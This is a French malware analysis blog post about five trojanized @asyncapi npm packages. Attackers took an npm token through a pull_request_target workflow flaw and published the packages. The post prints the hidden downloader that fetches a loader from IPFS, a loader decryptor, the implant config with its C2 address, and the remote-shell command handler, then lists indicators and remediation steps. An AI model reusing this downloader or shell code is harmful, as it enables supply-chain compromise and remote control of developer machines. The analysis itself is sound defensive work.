Aikido

Des paquets npm d'AsyncAPI ont été compromis via GitHub Actions

Écrit par
Raphael Silva

Nous avons identifié cinq fichiers infectés par un cheval de Troie @asyncapi paquets publiés le 14 juillet 2026. Le pirate a dérobé un jeton de publication npm en exploitant une pull_request_target Une vulnérabilité liée au flux de travail dans le dépôt du générateur AsyncAPI a permis d'injecter un programme de téléchargement obfusqué dans les modules d'exécution normaux de quatre paquets. L'importation de l'un des paquets concernés entraîne le téléchargement d'un chargeur Node.js chiffré depuis IPFS, qui est ensuite écrit sur le disque sous la forme sync.js, et le lance en tant que processus séparé.

La chaîne aboutit à un implant persistant doté d'un véritable shell distant. Le cadre de la charge utile s'identifie lui-même comme M-RED-TEAM v6.4 dans ses propres commentaires de code. La collecte d'identifiants et l'auto-propagation sont présentes dans le code, mais désactivées dans cette version. Le shell suffit à l'opérateur pour collecter des données et exécuter des commandes arbitraires sans ces fonctionnalités.

Au total, ces applications enregistrent environ 2,9 millions de téléchargements par semaine, avec @asyncapi/specs à lui seul, il en compte environ 2,7 millions.

Comment l'attaquant a-t-il obtenu un accès en mode publication ?

Le asyncapi/generator référentiel utilisé par un Workflow GitHub Actions avec un pull_request_target déclencheur. Ce déclencheur s'exécute avec un accès aux secrets du référentiel, même lorsque le workflow extrait le code à partir d'une pull request externe, ce qui constitue un piège bien connu.

Un contributeur a identifié la vulnérabilité et a ouvert une PR de correction PR n° 2092) le 17 mai. Près de deux mois plus tard, celle-ci n'avait toujours pas été intégrée lorsque l'attaque s'est produite.

Le 14 juillet à 05 h 08 UTC, le pirate a ouvert 37 pull requests sur le dépôt du générateur. L'une d'entre elles, PR, contenait du code JavaScript obfusqué qui permettait d'extraire le jeton de publication npm vers rentry[.]co. Le processus s'est achevé à 05 h 16 UTC. Une fois le jeton en sa possession, le pirate a poussé des commits malveillants vers le suivant ont créé une branche à 06 h 58 UTC et publié les premiers paquets compromis à 07 h 10 UTC. Ils se sont ensuite tournés vers asyncapi/spec-json-schemas, en effectuant 11 commits entre 07 h 51 et 08 h 28 UTC pour publier les versions des spécifications.

Source

Cette attaque fait intervenir trois signaux qui se chevauchent et qui ne pointent pas tous vers le même endroit.

La technique d'accès initiale (une attaque PR ciblant un pull_request_target (le flux de travail utilisant une boîte morte sur rentry[.]co) correspond aux schémas de la campagne « prt-scan » précédemment observés lors d'attaques similaires visant à voler des secrets via GitHub Actions.

Le framework de charge utile s'identifie comme M-RED-TEAM v6.4 dans les commentaires du code présents dans l'ensemble du code source de la phase 3 qui a été récupéré. C'est la désignation la plus directe que le code se donne lui-même.

Les noms des artefacts et leur configuration reprennent l'identité visuelle de Miasma : la cible de compilation est miasma-train-p1, les chemins d'accès au verrou d'exécution et à l'identité se trouvent sous ~/.config/.miasma/, les artefacts de persistance sont nommés moniteur de miasmes, et les certificats de création utilisent la chaîne de format miasma-spawn-cert-v1. Celles-ci recoupent les ancienne boîte à outils Miasma, bien que Un chercheur de SafeDep a remarqué que les charges utiles différaient: la version précédente était basée sur Bun, avec RSA, une propagation active et un mécanisme « deadman » destructeur ; celle-ci est basée sur Node, avec secp256k1/AES-GCM, HTTP C2, et ces fonctionnalités sont désactivées.

Les éléments dont nous disposons ne nous permettent pas de déterminer si l'accès initial via prt-scan et la charge utile M-RED-TEAM proviennent d'un seul et même opérateur ou de parties distinctes. La marque « Miasma » peut refléter une réutilisation de code, une imitation ou une désignation erronée délibérée. Aucune attribution définitive n'est formulée ici.

Cinq modules d'exécution ont assuré la première phase

Les versions compromises :

  • @asyncapi/specs@6.11.2
  • @asyncapi/specs@6.11.2-alpha.1
  • @asyncapi/generator@3.3.1
  • @asyncapi/generator-helpers@1.1.1
  • @asyncapi/generator-components@0.7.1

Le code malveillant ne se trouve pas dans un hook du cycle de vie npm. Il a été placé dans des modules qui s'exécutent lors d'une utilisation normale : le caractéristiques techniques point d'entrée, un générateur un validateur, un utilitaire d'aide et un module de gestion des erreurs des composants. La charge utile s'exécute au chargement du module ; ainsi, un simple require() suffit à le déclencher.

Dans @asyncapi/specs, le programme de téléchargement est placé avant les véritables exportations de schémas :

import { spawn } from 'child_process';

// fs, path, https, os imported above

async function main() {
  try {
    const child = spawn(
      'node',
      [
        '-e',
        `/* obfuscated downloader, ~3 KB, elided */`,
      ],
      {
        detached: true,
        stdio: 'ignore',
        windowsHide: true,
      }
    );

    child.unref();
  } catch (error) {
    console.error(error.message);
  }
}

main();

module.exports = {
  schemas: {
    '2.0.0': require('./schemas/2.0.0.json'),
    // ...through 3.1.0
  },
};

Le programme de téléchargement s'exécute dans un processus fils détaché. Après avoir appelé child.unref(), le processus parent se ferme immédiatement et le téléchargement se poursuit en arrière-plan.

Le node -e La charge utile est obscurcie, mais sa table de correspondance de chaînes contient l'URL IPFS et le nom du fichier à déposer en clair :

// string table from the inline node -e script, verbatim from the shipped file['ignore','https','share','createWriteStream','finish','existsSync','darwin', 'https://ipfs.io/ipfs/Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf', '6768228QKjgXi','3468092lHTqJi','close','1488507nOBBnt','Library', '2677556fRqDUV','1716959EKWEaH','Local','get','NodeJS','win32','56qmWZQE', 'statusCode','join','error','node','path','10fFCDjZ','.local','10198524EzDDHO', 'child_process','mkdirSync','unlink','pipe','homedir','platform','unref','sync.js','6676191oFXVhK']

La branche « specs » récupère le CID Qmet4fhsAaWMBUxNDfREHwgiyDeSWy4YSYs9wiKUW5jGyf. La branche « family » du générateur récupère QmQobZSp1wRPrpSEQ56qnyq7ecZh5Bg5k1fnjt4SUwwHb9. Les deux écrivent sync.js vers un répertoire de données NodeJS propre à chaque utilisateur : ~/Bibliothèque/Application Support/NodeJS sous macOS, %LOCALAPPDATA%\NodeJS sous Windows, ~/.local/share/NodeJS sous Linux.

Étape 2 : chargeurs chiffrés provenant d'IPFS

Les deux objets IPFS sont des chargeurs JavaScript obfusqués : 8 243 380 octets (spécifications) et 8 254 481 octets (famille de générateurs). Chacun d'entre eux dérive une clé AES-256-GCM via HKDF-SHA256, déchiffre un coffre-fort intégré, inverse une rotation ASCII imprimable et évalue le résultat. Nous avons extrait la logique pour en faire un décrypteur non exécutable :

const _km = 'rt-file-key-material-v1';
const _mkb = Buffer.from(
  'rt-vault-master-key-32b-aaaaaaaa',
  'utf8'
); // 32 bytes

function gcmDecrypt(buf, key) {
  const iv = buf.slice(0, 12);
  const tag = buf.slice(buf.length - 16);
  const ct = buf.slice(12, buf.length - 16);

  const d = crypto.createDecipheriv('aes-256-gcm', key, iv);
  d.setAuthTag(tag);

  return Buffer.concat([d.update(ct), d.final()]);
}

// derive per-file key and decrypt stage-3 blob
const fileKey = crypto.hkdfSync(
  'sha256',
  Buffer.from(_km, 'utf8'),
  Buffer.alloc(0),
  Buffer.from('rt-file-key', 'utf8'),
  32
);

const rotSrc = gcmDecrypt(encryptedBlob, fileKey).toString('utf8');

// reverse the ASCII rotation
const ROT_MIN = 33;
const ROT_RANGE = 94;
const delta = (ROT_RANGE - (4 % ROT_RANGE)) % ROT_RANGE;

const stage3 = [...rotSrc]
  .map((ch) => {
    const c = ch.charCodeAt(0);

    return c >= ROT_MIN && c < ROT_MIN + ROT_RANGE
      ? String.fromCharCode(
          ROT_MIN + ((c - ROT_MIN + delta) % ROT_RANGE)
        )
      : ch;
  })
  .join('');

Les balises d'authentification GCM sont valides pour les deux versions. Chaque chargeur contient également un sourceBundle champ chiffré avec la même clé ; il correspond, octet par octet, au fichier de la phase 3 récupéré. La configuration intégrée utilise une clé distincte dérivée de rt-baked-key et le même maître codé en dur.

Les deux fichiers de niveau 3 récupérés :

  • Caractéristiques de la version : 3 088 921 octets, SHA-256 f873941d1907a97dc6c718fdecf59fd7d91f3f8212da2f7e5314b878b88bdc0b
  • Version de la famille de générateurs : 3 093 085 octets, SHA-256 9e214f38537e69bf51c7fa1ddd35ae495e9cb897231ec010baf9e4f29407ee9a

La version « generator-family » présente une différence de comportement : un minuteur qui vérifie à nouveau le C2 principal après le basculement et revient au C2 d'origine dès que celui-ci est rétabli. D'autres différences concernent les déclarations superflues générées.

Les deux versions intègrent une chaîne de génération secp256k1 à deux certificats. Les deux signatures sont valides. La chaîne n'empêche pas l'exécution de cette graine.

Champs de configuration prêtant à confusion

Les premiers rapports avaient qualifié cela de « canari de sécurité » en se basant sur les valeurs des champs de configuration. Voici la configuration intégrée que nous avons récupérée :

{
  "config": {
    "safeMode": true,
    "c2Server": "http://85.137.53.71:8080",
    "shellBlacklist": ["killall"],
    "batch": { "defaultStrategy": "CANARY", "canaryPercent": 5 }
  },
  "target": { "name": "miasma-train-p1", "ecosystem": "npm" },
  "actualPersist": false,
  "testMode": false,
  "toggles": {
    "recon": false,
    "persist": true,
    "propagate": { "npm": false, "pypi": false, "ruby": false, "cargo": false },
    "evasion": false,
    "metamorphic": false
  }
}

Aucune de ces trois valeurs de champ ne résiste à l'analyse du graphe d'appel :

  • safeMode : true: le point d'entrée transmet directement les paramètres de configuration à la fonction de démarrage et n'appelle jamais la mode sécurisé validateur.
  • actualPersist : false: la fonction de démarrage lit toggles.persist, pas actualPersist. toggles.persist est true. Les sessions de persistance sont en cours.
  • canaryPercent : 5: le Envoi par lots Cette commande n'est pas implémentée et aucun chemin de sélection de victime ne lit ce champ. Elle n'a aucun effet.

Fonctionnement de l'implant

Lors de sa première exécution, la charge utile génère une paire de clés secp256k1 et la stocke dans un chemin d'accès spécifique à la plateforme, sous la forme d'un fichier de cache système. Elle utilise ~/.config/.miasma/run/node.lock afin d'éviter les doublons.

Persistance par plateforme :

  • macOS : ajoute un nohup bloc vers .zshrc, .bashrc, ou .bash_profile
  • Windows : écrit dans HKCU Exécutez valeur moniteur de miasmes
  • Linux : écritures ~/.config/systemd/user/miasma-monitor.service et permet de l'activer. Le ExecStart Il manque un script de shell, ce qui explique probablement pourquoi l'unité ne démarre pas, mais les fichiers sont bien créés.

L'implant émet des signaux vers hxxp://85[.]137[.]53[.]71:8080 environ toutes les 30 secondes. Les balises sont signées et chiffrées à l'aide de la clé publique de l'attaquant. Même avec recon désactivées, chaque balise comprend des aperçus masqués de CHEMIN, ACCUEIL, UTILISATEUR, et NOM D'HÔTE, et vérifie la présence des fichiers de configuration de Cursor, Claude et VS Code dans le répertoire /app.

Les commandes sont généralement transmises dans une enveloppe chiffrée. En l'absence de paquet chiffré, le gestionnaire utilise alors du texte clair. commandes tableau :

async dispatchResponseCommands(resp) {
  let commands = [];

  if (
    this.commandCipher &&
    resp.encryptedCommands &&
    resp.encryptedCommands.length > 0
  ) {
    for (const env of resp.encryptedCommands) {
      try {
        commands.push(this.commandCipher.decryptCommand(env));
      } catch (e) {
        this.sinkError(e);
      }
    }
  } else {
    // plaintext fallback, active when cipher absent
    commands = resp.commands;
  }

  for (const cmd of commands) {
    await this.handler(cmd);
  }
}

Le C2 fonctionnant via HTTP, un attaquant se trouvant sur le chemin d'accès peut injecter des commandes par ce biais.

Commande 11 (ShellExec) transmet la requête à child_process.exec(). La seule commande figurant sur la liste noire est killall:

ShellExecutorImpl = class {
  constructor(cfg, runner) {
    this.blacklist = new Set(
      cfg.shellBlacklist
        .map(normalizeCmd)
        .filter((b) => b.length > 0)
    ); // shipped config: ["killall"]

    this.runner = runner ?? new ExecFileRunner();
  }

  async exec(req) {
    if (!this.isAllowed(req.command)) {
      return {
        exitCode: 126,
        stdout: '',
        stderr: '',
      }; // DENIED
    }

    // testMode is false in this seed, so the real shell runs
    return new Promise((resolve) => {
      import_node_child_process.exec(
        [req.command, ...req.args].join(' '),
        {
          cwd: req.cwd,
          timeout: timeoutMs,
          maxBuffer: 1 << 20,
          windowsHide: true,
        },
        (err, stdout, stderr) =>
          resolve({
            exitCode: err?.code ?? 0,
            stdout,
            stderr,
          })
      );
    });
  }
};

Les commandes de fichiers (list, get, put) sont isolées dans un environnement de type « sandbox » dont l'emplacement est codé en dur /sim-fs chemin. La commande « delete » n'est pas implémentée. Le shell ne présente pas cette restriction.

Les mises à jour de la charge utile proviennent de deux sources : soit une commande de l'opérateur fournissant un nouveau CID, soit une boucle d'interrogation de deux minutes vérifiant sur Nostr et Ethereum s'il existe une version plus récente. Les mises à jour de Nostr font l'objet d'une vérification de signature. Les enregistrements Ethereum sont acceptés sans vérification de signature (trustUnsignedBlockchain : true). Une mise à jour récupérée est enregistrée sur le disque sous la forme d'un .bin/.cache/.dat fichier, lancé avec Node, et autorisé à remplacer le processus en cours.

Ce qui figure dans le code mais n'est pas actif

Ce pack contient un outil complet de collecte d'identifiants couvrant cloud , les jetons de gestionnaires de paquets, les clés SSH/GPG, les historiques de shell, les navigateurs, les systèmes CI/CD, les outils de développement IA, les bases de données, les portefeuilles, les conteneurs et les gestionnaires de mots de passe. Il peut télécharger Gitleaks et HackBrowserData pour faciliter la collecte. Aucun de ces outils ne s'exécute car toggles.recon est faux ; le collecteur se ferme avant d'avoir récupéré quoi que ce soit. Le shell peut obtenir le même résultat manuellement.

Les vecteurs de propagation pour npm, PyPI et Cargo sont présents et implémentés. Tous les commutateurs de propagation sont définis sur « false » ; le seul trySpread() l'appel est protégé par le mode persistant (qui renvoie une valeur avant d'y parvenir), et le Multiplier La commande n'est pas implémentée. Aucune propagation n'a lieu.

Le moteur de mutation, les contrôles d'évasion, l'empoisonnement des outils d'IA et le « deadman switch » sont tous désactivés. L'implémentation de la réinitialisation écrit un fichier marqueur dans ~/Documents/SIMULATION_WIPE_TRIGGERED.txt plutôt que de supprimer quoi que ce soit.

C2 et infrastructures associées

Le protocole HTTP sur le port 8080 est le seul véritable canal de signalisation et de commande. Les autres protocoles ont des rôles plus limités :

  • Nostr : fournit des mises à jour d'adresse, des enregistrements signés de mise à jour de charge utile et des multi-adresses de pairs
  • Ethereum : fournit des adresses de service en lecture seule et des enregistrements de mise à jour
  • IPFS : héberge des objets de charge utile et des données chiffrées
  • libp2p / BitTorrent DHT / mDNS : découverte de pairs et propagation par « gossip » ; pas de trafic de commande ni de balise

Plusieurs méthodes génériques de téléchargement et de commande sur les protocoles de transport de niveau inférieur n'ont aucun effet dans cette version.

Indicateurs de compromission

Packages

SHA-256 de la version du paquet@asyncapi/specs6.11.29b2e65db653ca8575c9b10eefb9a80c6006404812c2ec212bf5675e3c690233b@asyncapi/specs6.11.2-alpha.1d425e4583cc6185d41e95c45eda00550045a5d1919b9a012236a4520d009dbd7@asyncapi/generator3.3.1bfaeb987faa6de2b5a5eb63b1233d055215b09b0349a9394f2175fd7cdf385e4@asyncapi/generator-helpers1.1.134014776d3d3ff11bc4439b02fd7ac0f02a887eb3a052eeafff236e2f6db8ad1@asyncapi/generator-components0.7.1082d733db0687dcd768104972b065d4b58cb1e6043688c6c20fa3702337f36ab

Réseau

  • C2: 85[.]137[.]53[.]71:8080, mise en ligne : :8081, gestion des procurations : :8091
  • Bloc RIPE 85.137.53.0/24, objet VSYS-AMS, AS43641
  • Contrat Ethereum 0x12c37A86a0Ed0beBe5d1d6a43E42f07860eAc710, ID de chaîne 1
  • Nostr rapporte : wss://relay.damus.io, wss://relay.nostr.com/
  • Bootstrap DHT : router.bittorrent.com:6881, dht.transmissionbt.com:6881

Host

  • Chute : sync.js dans le répertoire de données NodeJS propre à chaque utilisateur (chemins indiqués ci-dessus)
  • Verrou : ~/.config/.miasma/run/node.lock
  • Identifiant macOS : ~/Bibliothèque/Application Support/com.apple.spotlight/index-v2.cache
  • Identité Linux : ~/.cache/mesa_shader_cache/gl_cache.bin
  • Identifiant Windows : %HOME%\AppData\Roaming\Microsoft\CryptnetUrlCache\Content\msrt.dat
  • Persistance sous Linux : ~/.config/systemd/user/miasma-monitor.service
  • Valeur de la commande « Exécuter » de Windows : moniteur de miasmes

Crypto

  • Clé publique « secp256k1 » de l'attaquant : 0432fa4ba871877d94081fe83323fa24dfa1491e9de8725cbab7b734de9e9be3b233ef6742fd6264437c9532223d687b05fa540b70af6a516b8539af84d0eeb48e

Que faire maintenant

Rétrograder vers @asyncapi/specs@6.11.1, @asyncapi/generator@3.3.0, @asyncapi/generator-helpers@1.1.0, et @asyncapi/generator-components@0.7.0. Supprimez les cinq versions compromises des manifestes, des fichiers de verrouillage, des caches, des miroirs internes et des images de compilation. Recherchez les systèmes qui importé les modules concernés, et pas seulement les systèmes sur lesquels le paquet a été installé, puisque l'implant fonctionne sur require().

Sur tout hôte suspect : commencez par isoler et sauvegarder l'état volatile. Recherchez les chemins d'accès « drop », « lock », « identity » et « persistence » mentionnés ci-dessus, ainsi que tout processus Node détaché inhabituel. Vérifiez la présence de connexions vers les ports C2 et recherchez toute activité Node en corrélation avec IPFS, Nostr, Ethereum RPC, DHT ou mDNS.

Considérez les identifiants accessibles depuis une machine de développement ou un hôte de compilation compromis comme potentiellement exposés via des commandes shell. Renouvelez les jetons npm, les droits d'accès au contrôle de version, cloud , les secrets CI/CD, les clés SSH, les clés de signature et les sessions de navigateur à partir d'une machine saine. Réinstallez les hôtes compromis.

Le @asyncapi/specs@6.11.2-alpha.1 Le fichier tarball est toujours téléchargeable via son URL directe, bien qu'il ne figure plus dans les métadonnées du registre. Il doit être supprimé du stockage de sauvegarde et du CDN.

Comment Aikido détecte cela

Si vous Aikido , consultez votre flux central et filtrez les problèmes liés aux logiciels malveillants. Les cinq versions compromises apparaissent toutes comme des problèmes critiques notés 100/100. Si vous n'avez pas encore de compte, créez-en un et connectez vos dépôts: la détection des logiciels malveillants est incluse dans la formule gratuite, sans carte bancaire requise.

Aikido Protection vous offre une visibilité complète sur les paquets installés sur les appareils de votre équipe, y compris les bibliothèques, les plugins IDE et les dépendances de compilation. Aikido Chain (open source) s'intègre à votre flux de travail existant et vérifie les paquets à l'aide Aikido avant que npm, yarn ou pnpm ne les installent.

Partager :

https://www.aikido.dev/blog/asyncapi-npm-packages-backdoored-via-github-actions

Analyser les malwares

Commencer gratuitement
4,7/5
Fatigué des faux positifs ?
Essayez Aikido, comme 100 000 autres.
Commencez maintenant
Obtenez une démonstration personnalisée

Approuvé par plus de 100 000 équipes

Réserver maintenant
Analysez votre application à la recherche d'IDORs et de chemins d'attaque réels

Approuvé par plus de 100 000 équipes

Démarrer l'analyse
Découvrez comment le pentest IA teste votre application

Approuvé par plus de 100 000 équipes

Démarrer les tests

Sécurisez votre environnement dès maintenant.

Sécurisez votre code, votre cloud et votre environnement d’exécution dans un système centralisé unique.
Détectez et corrigez les vulnérabilités rapidement et automatiquement.

Aucune carte de crédit requise | Résultats en 32 secondes.